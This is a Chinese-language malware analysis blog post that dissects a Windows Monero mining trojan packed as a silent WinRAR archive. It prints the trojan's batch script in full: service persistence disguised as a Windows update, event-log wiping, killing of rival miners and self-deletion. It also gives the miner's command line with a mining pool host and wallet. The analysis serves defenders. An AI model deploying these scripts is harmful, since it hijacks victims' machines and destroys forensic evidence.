Windows下的挖矿木马查杀

MS016小组（原创）

上一篇文章简单讲了一下挖矿木马大概流程文章地址：

https://www.cnblogs.com/ms016/articles/7978880.html

今天讲分析一个挖矿木马了解ta的原理和查杀方式讲的是Windows挖矿木马也是门罗币对比其ta挖矿木马也许替换挖矿程序就可以了所以基本其ta挖矿

基本都相同先看挖矿木马吧

其实看图标就像一个解压包就是winrar 下的弄成静默安装我们用winrar 打开看看

右边的信息代表静默包完成什么操作

Path 运行静默包会把里面的程序释放到 path 信息上的路径

路径 C:\Windows\daozai

Setup 运行 path路径里面的程序

运行路径下的 run.bat 处理文件C:\Windows\daozai\run.bat

后面基本都是设置成不需要提示直接运行静默包

然后解压文件分析这几个文件做什么的

Run.bat 是启动批处理

Run64.bat 运行钱包程序的批处理

Svchost.exe 是NSSM一款守护进程的软件

Win1ogin.exe 是挖矿程序

了解这些文件的区别就逐个分析

先看看run.bat批处理

echo Havefun
C:\Windows\daozai\svchost.exe install "Windows32_Update" "C:\Windows\daozai\run64.bat"
C:\Windows\daozai\svchost.exe start Windows32_Update
wevtutil cl "windows powershell"
wevtutil cl "security"
wevtutil cl "system"
echo Havefun
@sc delete Systemss
@sc delete Service
@sc delete TeamServers
@sc delete WMIserver
@sc delete WMIservers
@sc delete WMI
@sc delete Serv
@sc delete system_update
@sc delete system_updatea
@sc config wuauserv start= delayed-auto
@echo off
for %%a in (
spoolsvs.exe
taskhost.exe
NsCpuapl.exe
MSASCui.exe
nheqminer_zcash.exe
nssm.exe
update.exe
server.exe
sppscv.exe
taskhost.exe
acnom.exe
acnon.exe
control.exe
install.exe
kill.exe
ntuhost.exe
Terms.EXE
winhost.exe
netcore.exe
Service.exe
cpuminer-aes-sse42.exe
Network.exe
TeamServers.exe
) do taskkill /f /im %%a
@echo off
cacls c:\windows\Fones\Service.exe  /e /d everyone
cacls c:\windows\d11cache\TeamServers.exe e /d everyone
cacls C\Windows\d11cache\Network.exe e /d everyone
cacls c:\windows\d11cache\cpuminer-aes-sse42.exe e /d everyone
cacls C:\Windows\netcore.exe e /d everyone
cacls C:\Windows\winhost.exe e /d everyone
cacls C:\Windows\Terms.EXE e /d everyone
cacls c:\windows\ntuhost.exe e /d everyone
cacls c:\windows\d11cache  /e /d everyone
cacls C\SysData /e /d everyone
ping -n 5 127.0.0.1
taskkill /im mscorsvw.exe /f
taskkill /im WUDFHost.exe /f
taskkill /im nheqminer.exe /f
taskkill /im NsCpuCNMiner64.exe /f
taskkill /im NsCpuCNMiner.exe /f
taskkill /f /im mssecsvc.exe /f
taskkill /f /im taskhost.exe  /f
taskkill /f /im  sppscv.exe /f
del %sfxcmd%
del %0
exit

前面是调用NSSM软件守护挖矿程序

然后启动钱包批处理

NSSM 开始守护

清除系统日志关闭一些服务在清理进程

里面有些进程可能是别的挖矿大牛常用的是为了方便清理别人的进程

在看Run64.exe批处理

win1ogin.exe -a cryptonight -o stratum+tcp://mine.ppxxmr.com:5555 -u 42ptfGAPK5maAQELBhwiii2wbAvooRCZXCKr66rkgaDkCkRxz6oKFNv3Xg8Cdk8KiA5HNcJoey58WH9D5teiSQaF5cCgjbo+update -p 123

矿池 mine.ppxxmr.com

钱包42ptfGAPK5maAQELBhwiii2wbAvooRCZXCKr66rkgaDkCkRxz6oKFNv3Xg8Cdk8KiA5HNcJoey58WH9D5teiSQaF5cCgjbo

-p 123 参数 cpu 应该是跑3个核心

然后开始调用挖矿程序